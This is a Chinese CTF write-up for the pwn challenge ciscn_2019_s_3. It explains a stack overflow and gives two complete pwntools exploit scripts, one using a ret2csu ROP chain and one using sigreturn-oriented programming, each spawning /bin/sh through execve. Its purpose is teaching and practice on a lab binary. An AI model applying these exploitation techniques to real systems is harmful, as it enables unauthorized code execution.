ciscn_2019_s_3(execve&&sigreturn)

本题是一个系统调用,存在栈溢出,要点有以下几点,以下为第一种解法,构造execve(’/bin/sh’,0,0)

1.题目中,并未出现sub esp得字眼,所以本题中ebp一直与esp重合,即最后ret得时候,pop的其实是rbp处的地址,所以本题返回点并不在ret处,而在rbp处。

2.本题没有‘/bin/sh’,所以只能自己输入到栈上,这时就需要泄漏栈的地址,在使用gdb调试后,可以看到在ret地址后面有存储一个栈地址(即可以泄漏),再在调用syswrite时,可以看到buf的地址,经过计算后,得出偏移为0x118,所以我们写入的‘/bin/sh’地址可以得到,此时再返回vuln函数。

3.在sendline之前可以写上

gdb.attach(ms)

pause()

打开gdb进行动调。

4.本题调用execve(’/bin/sh’,0,0),需要把给rax传入系统调用号,’/bin/sh’传给rdi,0传给rsi,和rdx。通过ropgadget可以找到libc_csu的地方,用于寻找gadgets

5.在payload1中,由于整个题目只有mov rdx,r13,mov rsi,r14可以控制rdx,之后又因为call r12+rbx*8,所以需要用pop构造r12,r13,r14,rbx的值,而在r12处放上binsh_addr+0x50(mov_rax_ret在栈上的地址),等会儿会call这里。

所以整个程序流执行时,

(1)首先进行pop五个,给寄存器赋值。此时rbx=r13=r14=0,r12=mov_rax_ret,ret后

(2)跳转到mov_rdx_r13_rsi_r14_call的地址,mov两个值,此时rdx=rsi=0

(3)之后进行call r12+rbx*8,也就是r12的地址,call的同时,将add rbx,1(call的后一条地址)压入栈,之后jmp跳转到mov_rax_ret(传入系统调用号),ret时pop的就是add rbx,1

(4)执行完后返回到add rbx,1,因为rbx++,所以,cmp不通过,执行跳转,跳到mov_rdx_r13_rsi_r14_call起始点,再次执行到call r12+rbx *8,压入add rbx,1,但此时的rbx是1,所以跳转地址变成了binsh_addr+0x58(pop rdi),执行一次pop_rdi,将add rbx,1 pop给了rdi,执行ret时,pop了栈上的mov_rax_ret给eip,在ret 到pop_rdi,将栈上的binsh给rdi,最后执行syscall。

from pwn import * 
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

ms = process("./ciscn_s_3")
#ms = remote('node3.buuoj.cn',25636)

#elf = ELF('./ciscn_s_3')


mov_rax_ret = 0x4004E2
pop_rdi_ret = 0x4005A3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40059a
mov_rdx_r13_rsi_r14_call = 0x400580

vuln_addr = 0x4004ed
syscall_addr = 0x400501

# gdb.attach(ms)
# pause()
payload = '/bin/sh\x00'+'b'*0x7+'c'*0x1+p64(vuln_addr)
ms.sendline(payload)
ms.recvuntil('c')
ms.recv(16)
binsh_addr = u64(ms.recv(8).ljust(8,'\x00'))-0x118
log.info("binsh_addr="+hex(binsh_addr))
ms.recv(8)

payload1 = '/bin/sh\x00'+'a'*0x8+p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(0)
payload1+= p64(binsh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(mov_rdx_r13_rsi_r14_call)
payload1+= p64(mov_rax_ret)+p64(pop_rdi_ret)+p64(binsh_addr)
payload1+= p64(syscall_addr)

ms.sendline(payload1)
ms.interactive()

上面方法比较麻烦,本题直接给了给rax赋值15,也就是调用sigreturn,所以下面还附上使用sigreturn框架的脚本

from pwn import * 
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

#ms = remote("node3.buuoj.cn", 25192)
ms = process("./ciscn")
elf = ELF("./ciscn")

sigreturn_addr = 0x4004DA
syscall_addr = 0x400517
vuln_addr = 0x4004ED

payload = "/bin/sh\x00"+'a'*0x8+p64(vuln_addr)
ms.send(payload)
ms.recv(0x20)
stack_addr = u64(ms.recv(6).ljust(8,'\x00'))-0x118
log.info("stack_addr="+hex(stack_addr))

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload1 = "/bin/sh\x00"+'a'*0x8+p64(sigreturn_addr)+p64(syscall_addr)+str(frame)

ms.send(payload1)
ms.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值